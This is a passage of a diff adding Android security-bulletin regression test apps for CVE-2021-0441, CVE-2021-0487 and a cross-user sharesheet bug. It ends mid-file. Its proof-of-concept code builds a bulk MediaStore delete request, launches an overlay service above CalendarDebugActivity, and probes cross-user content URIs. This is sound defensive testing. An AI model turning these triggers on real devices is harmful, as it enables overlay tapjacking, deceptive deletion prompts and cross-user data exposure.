+ @Override
+ public int update(Uri uri, ContentValues values, String selection,
+ String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
+ private void maybeRecordUriAccess(Uri uri) {
+ UserHandle caller = getCallingUserHandle();
+ if (!myUserHandle().equals(caller)) {
+ accessedUris.add("uri=" + uri.toString()
+ + ", owner_uid=" + myUid()
+ + ", caller_uid=" + getCallingUid()
+ + " ('" + getCallingPackage() + "')");
+ }
+ }
+}
\ No newline at end of file
diff --git a/apps/MainlineModuleDetector/Android.bp b/hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/Android.bp
similarity index 63%
copy from apps/MainlineModuleDetector/Android.bp
copy to hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/Android.bp
index 2cba39f..f7103aa 100644
--- a/apps/MainlineModuleDetector/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/Android.bp
@@ -1,5 +1,4 @@
-//
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2023 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -12,27 +11,23 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
package {
- // See: http://go/android-license-faq
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test {
- name: "MainlineModuleDetector",
- defaults: ["cts_defaults"],
- static_libs: ["compatibility-device-util-axt"],
- // Disable dexpreopt and <uses-library> check for test.
- enforce_uses_libs: false,
- dex_preopt: {
- enabled: false,
- },
+android_test_helper_app {
+ name: "Bug-261036568-test",
+ defaults: ["cts_support_defaults"],
srcs: ["src/**/*.java"],
- sdk_version: "current",
test_suites: [
- "cts",
- "general-tests",
"sts",
],
-}
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+ platform_apis: true,
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..c20ac2d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.BUG_261036568_test"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.BUG_261036568_test"/>
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/src/android/security/cts/BUG_261036568_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/src/android/security/cts/BUG_261036568_test/DeviceTest.java
new file mode 100644
index 0000000..ab09be5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-261036568/test-app/src/android/security/cts/BUG_261036568_test/DeviceTest.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_261036568_test;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.ClipData;
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.RemoteException;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final long WAIT_AND_ASSERT_FOUND_TIMEOUT_MS = 5000;
+ private static final long WAIT_FOR_IDLE_TIMEOUT_MS = 5000;
+ private static final long WAIT_AND_ASSERT_NOT_FOUND_TIMEOUT_MS = 2500;
+
+ private static final String PROVIDER_AUTHORITY = "android.security.cts.BUG_261036568_provider";
+ private static final Uri PROVIDER_AUTHORITY_URI = Uri.parse("content://" + PROVIDER_AUTHORITY);
+
+ private ContentProviderClient mClient;
+ private Uri mTargetImageUri;
+ private Uri mTargetAuthorityUri;
+ private Uri mTargetFileUri;
+
+ @Before
+ public void setUp() {
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getContext();
+
+ // Get the id of a test user created by host side test
+ Bundle args = InstrumentationRegistry.getArguments();
+ int targetUser = Integer.parseInt(args.getString("target_user", "-1"));
+ assumeTrue("Could not find target user", targetUser != -1);
+
+ mTargetAuthorityUri = withUserId(PROVIDER_AUTHORITY_URI, targetUser);
+ mTargetImageUri = withPath(mTargetAuthorityUri, "x.png");
+ mTargetFileUri = withPath(mTargetAuthorityUri, "x.pdf");
+ }
+
+ @Test
+ public void testShareUnownedUriAsPreview() {
+ // SEND, single image
+ openAndCloseSharesheet(createSendImageIntent(mTargetImageUri));
+ // SEND, text with thumbnail
+ openAndCloseSharesheet(createSendTextIntentWithPreview(mTargetImageUri));
+ // SEND_MULTIPLE, two images
+ openAndCloseSharesheet(createSendFileIntentWithPreview(mTargetImageUri, mTargetImageUri));
+ // SEND_MULTIPLE, mixed types
+ openAndCloseSharesheet(createSendFileIntentWithPreview(mTargetImageUri, mTargetFileUri));
+
+ verifyNoContentProviderAccess();
+ }
+
+ private void openAndCloseSharesheet(Intent target) {
+ Instrumentation instrumentation = getInstrumentation();
+ UiDevice device = UiDevice.getInstance(instrumentation);
+ Context context = instrumentation.getTargetContext();
+ Intent chooserIntent = Intent.createChooser(target, null);
+ chooserIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String chooserPackage = resolveChooserPackage(context);
+ context.startActivity(chooserIntent);
+ device.waitForIdle(WAIT_FOR_IDLE_TIMEOUT_MS);
+ if (waitForPackageVisible(device, chooserPackage)) {
+ device.pressBack();
+ assumeTrue(waitForPackageGone(device, chooserPackage));
+ }
+ }
+
+ private void verifyNoContentProviderAccess() {
+ Instrumentation instrumentation = getInstrumentation();
+ Context context = instrumentation.getContext();
+ UiAutomation automation = instrumentation.getUiAutomation();
+ ContentResolver resolver = context.getContentResolver();
+
+ // only used for verification to access the provider directly
+ automation.adoptShellPermissionIdentity("android.permission.INTERACT_ACROSS_USERS");
+
+ try (ContentProviderClient client =
+ resolver.acquireContentProviderClient(mTargetAuthorityUri)) {
+ assumeNotNull("Could not access '" + mTargetAuthorityUri, client);
+
+ Bundle result = client.call("verify", null, null);
+ assumeNotNull("Failed to fetch result from content provider", result);
+
+ boolean passed = result.getBoolean("passed");
+ ArrayList<String> accessedUris = result.getStringArrayList("accessed_uris");
+ assertTrue("Failed. Cross user URI reads detected: " + accessedUris, passed);
+ } catch (RemoteException e) {
+ assumeNoException("Caught exception verifying result: " + e, e);
+ } finally {
+ automation.dropShellPermissionIdentity();
+ }
+ }
+
+ private Intent createSendImageIntent(Uri image) {
+ Intent sendIntent = new Intent();
+ sendIntent.setAction(Intent.ACTION_SEND);
+ sendIntent.putExtra(Intent.EXTRA_STREAM, image);
+ sendIntent.setType("image/png");
+ return sendIntent;
+ }
+
+ private Intent createSendTextIntentWithPreview(Uri image) {
+ Intent sendIntent = new Intent();
+ sendIntent.setAction(Intent.ACTION_SEND);
+ sendIntent.putExtra(Intent.EXTRA_TITLE, "Preview Title");
+ sendIntent.putExtra(Intent.EXTRA_TEXT, "Sharing Text");
+ sendIntent.setType("text/plain");
+ sendIntent.setClipData(
+ new ClipData(
+ "Clip Label",
+ new String[] {"image/png"},
+ new ClipData.Item(image)));
+ return sendIntent;
+ }
+
+ private Intent createSendFileIntentWithPreview(Uri... uris) {
+ Intent sendIntent = new Intent();
+ if (uris.length > 1) {
+ sendIntent.setAction(Intent.ACTION_SEND_MULTIPLE);
+ sendIntent.putParcelableArrayListExtra(Intent.EXTRA_STREAM,
+ new ArrayList<>(Arrays.asList(uris)));
+ } else if (uris.length == 1) {
+ sendIntent.setAction(Intent.ACTION_SEND);
+ sendIntent.putExtra(Intent.EXTRA_STREAM, uris[0]);
+ }
+ sendIntent.setType("application/pdf");
+ return sendIntent;
+ }
+
+ private String resolveChooserPackage(Context context) {
+ PackageManager pm = context.getPackageManager();
+ Intent shareIntent = Intent.createChooser(new Intent(), null);
+ ResolveInfo chooser = pm.resolveActivity(shareIntent, PackageManager.MATCH_DEFAULT_ONLY);
+ assertNotNull(chooser);
+ assertNotNull(chooser.activityInfo);
+ return chooser.activityInfo.packageName;
+ }
+
+ /**
+ * Same as waitAndAssertFound but searching the entire device UI.
+ */
+ private boolean waitForPackageVisible(UiDevice device, String pkg) {
+ return device.wait(
+ Until.findObject(By.pkg(pkg).depth(0)),
+ WAIT_AND_ASSERT_FOUND_TIMEOUT_MS
+ ) != null;
+ }
+
+ /**
+ * Same as waitAndAssertNotFound() but searching the entire device UI.
+ */
+ private boolean waitForPackageGone(UiDevice device, String pkg) {
+ return device.wait(Until.gone(By.pkg(pkg)), WAIT_AND_ASSERT_NOT_FOUND_TIMEOUT_MS);
+ }
+
+ private static Uri withUserId(Uri uri, int userId) {
+ Uri.Builder builder = uri.buildUpon();
+ builder.encodedAuthority("" + userId + "@" + uri.getEncodedAuthority());
+ return builder.build();
+ }
+
+ private static Uri withPath(Uri uri, String path) {
+ return uri.buildUpon().appendPath(path).build();
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
similarity index 93%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
index 50acd29..f07b5cc 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/Android.bp
@@ -20,11 +20,13 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2021-0441",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
index 9242123..66451bd 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/AndroidManifest.xml
@@ -14,15 +14,15 @@
See the License for the specific language governing permissions and
limitations under the License.
-->
-
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.security.cts.CVE_2022_20347">
- <uses-permission android:name="android.permission.BLUETOOTH"/>
- <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
- <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
- <application>
- <activity android:name=".PocActivity"
- android:exported="true">
+ package="android.security.cts.CVE_2021_0441"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:allowBackup="true"
+ android:label="@string/app_name"
+ android:supportsRtl="true">
+ <activity android:name=".PocActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
@@ -31,5 +31,5 @@
</application>
<instrumentation
android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.CVE_2022_20347" />
+ android:targetPackage="android.security.cts.CVE_2021_0441" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
similarity index 100%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/layout/activity_main.xml
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
similarity index 73%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
index 1a335c7..3496d8a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/integers.xml
@@ -1,4 +1,5 @@
-/*
+<?xml version="1.0" encoding="utf-8"?>
+<!--
* Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,11 +13,10 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- */
+ -->
-package android.security.cts.cve_2021_0642;
-
-import android.app.Activity;
-
-public class PocActivity extends Activity {
-}
+<resources>
+ <integer name="pictures">200</integer>
+ <integer name="request_code">1</integer>
+ <integer name="wait_time_ms">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
new file mode 100644
index 0000000..9d8dd1b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/res/values/strings.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="app_name">
+ CVE-2021-0441
+ </string>
+ <string name="ui_id_alert">
+ android:id/alertTitle
+ </string>
+ <string name="ui_id_message">
+ android:id/message
+ </string>
+ <string name="path">
+ content://media/external_primary/images/media/
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
new file mode 100644
index 0000000..1d9c47b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/DeviceTest.java
@@ -0,0 +1,101 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+import java.util.regex.Pattern;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ Context mAppContext;
+
+ int getInteger(@IntegerRes int resId) {
+ return mAppContext.getResources().getInteger(resId);
+ }
+
+ String getString(@IntegerRes int resId) {
+ return mAppContext.getResources().getString(resId);
+ }
+
+ @Test
+ public void testCVE_2021_0441() {
+ try {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ mAppContext = getApplicationContext();
+ PackageManager packageManager = mAppContext.getPackageManager();
+ String packageName = mAppContext.getPackageName();
+ final Intent intent = packageManager.getLaunchIntentForPackage(packageName);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ mAppContext.startActivity(intent);
+
+ // Selecting all visible objects with res-id: android:id/alertTitle
+ Pattern patternAlert = Pattern.compile(getString(R.string.ui_id_alert));
+ BySelector selectorAlert = By.res(patternAlert);
+
+ // Selecting all visible objects with res-id: android:id/message
+ Pattern patternMessage = Pattern.compile(getString(R.string.ui_id_message));
+ BySelector selectorMessage = By.res(patternMessage);
+
+ boolean isAlertTitleVisible =
+ device.wait(Until.hasObject(selectorAlert), getInteger(R.integer.wait_time_ms));
+ boolean isMessageVisible = device.wait(Until.hasObject(selectorMessage),
+ getInteger(R.integer.wait_time_ms));
+ assumeTrue(isAlertTitleVisible || isMessageVisible);
+
+ List<UiObject2> objectsAlertTitle = device.findObjects(selectorAlert);
+ List<UiObject2> objectsMessage = device.findObjects(selectorMessage);
+ assumeFalse(objectsAlertTitle.isEmpty() && objectsMessage.isEmpty());
+
+ if (!objectsAlertTitle.isEmpty() && objectsMessage.isEmpty()) {
+ for (UiObject2 obj : objectsAlertTitle) {
+ String text = obj.getText();
+ if (text == null) {
+ continue;
+ }
+ if (text.contains(getString(R.string.app_name))
+ && text.contains(Integer.toString(getInteger(R.integer.pictures)))) {
+ fail("Vulnerable to b/174495520 !!");
+ }
+ }
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
new file mode 100644
index 0000000..7c8b8fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0441/src/android/security/cts/CVE_2021_0441/PocActivity.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0441;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.content.IntentSender;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.MediaStore;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ requestDeletePermission(getUriList(getResources().getInteger(R.integer.pictures)));
+ }
+
+ ArrayList<Uri> getUriList(int capacity) {
+ ArrayList<Uri> list = new ArrayList<Uri>();
+ for (int i = 0; i < capacity; ++i) {
+ Uri uri = Uri.parse(getString(R.string.path) + i);
+ list.add(uri);
+ }
+ return list;
+ }
+
+ private void requestDeletePermission(List<Uri> uriList) {
+ PendingIntent pi = MediaStore.createDeleteRequest(getContentResolver(), uriList);
+ try {
+ startIntentSenderForResult(pi.getIntentSender(),
+ getResources().getInteger(R.integer.request_code), null, 0, 0, 0);
+ } catch (IntentSender.SendIntentException e) {
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/Android.bp
similarity index 93%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0487/Android.bp
index 50acd29..14d6baf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/Android.bp
@@ -20,11 +20,13 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2021-0487",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/AndroidManifest.xml
new file mode 100644
index 0000000..5c5934c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0487">
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+ <application>
+ <service android:name=".PocService" />
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0487" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/integers.xml
new file mode 100644
index 0000000..de5f253
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumptionFailure">-1</integer>
+ <integer name="pass">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/strings.xml
new file mode 100644
index 0000000..4d4098d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/res/values/strings.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="broadcastReceiverCalendar">CalendarProviderBroadcastReceiver</string>
+ <string name="calendarClsName">%1$s.CalendarDebugActivity</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="dumpsysActivity">dumpsys activity %1$s</string>
+ <string name="errorMessage">Device is vulnerable to b/174046397 hence any app with
+ "SYSTEM_ALERT_WINDOW" can overlay the CalendarDebugActivity screen</string>
+ <string name="messageKey">message</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="resultKey">result</string>
+ <string name="resumedTrue">mResumed=true</string>
+ <string name="sharedPreferences">CVE_2021_0487_prefs</string>
+ <string name="vulActivityNotRunningError">The CalendarDebugActivity is not currently
+ running on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/DeviceTest.java
new file mode 100644
index 0000000..0a3e65d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0487/src/android/security/cts/CVE_2021_0487/DeviceTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0487;
+
+import static android.provider.CalendarContract.ACTION_EVENT_REMINDER;
+import static android.provider.CalendarContract.CONTENT_URI;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
+import android.net.Uri;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int LAUNCH_TIMEOUT_MS = 10000;
+ private String mVulnerablePkgName = "";
+ private Context mContext = getApplicationContext();
+ Resources mResources;
+
+ private void startOverlayService() {
+ Intent intent = new Intent(mContext, PocService.class);
+ assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(mContext));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startService(intent);
+ }
+
+ private void startVulnerableActivity() {
+ Intent intent = new Intent(ACTION_EVENT_REMINDER);
+ Intent vulnPkgNameIntent = new Intent();
+ intent.setData(CONTENT_URI);
+ PackageManager pm = mContext.getPackageManager();
+ List<ResolveInfo> ris = pm.queryBroadcastReceivers(intent, 0);
+ for (ResolveInfo ri : ris) {
+ if (ri.activityInfo.name
+ .contains(mContext.getString(R.string.broadcastReceiverCalendar))) {
+ mVulnerablePkgName = ri.activityInfo.packageName;
+ }
+ }
+ vulnPkgNameIntent.setClassName(mVulnerablePkgName,
+ mContext.getString(R.string.calendarClsName, mVulnerablePkgName));
+ vulnPkgNameIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(vulnPkgNameIntent);
+ }
+
+ @Test
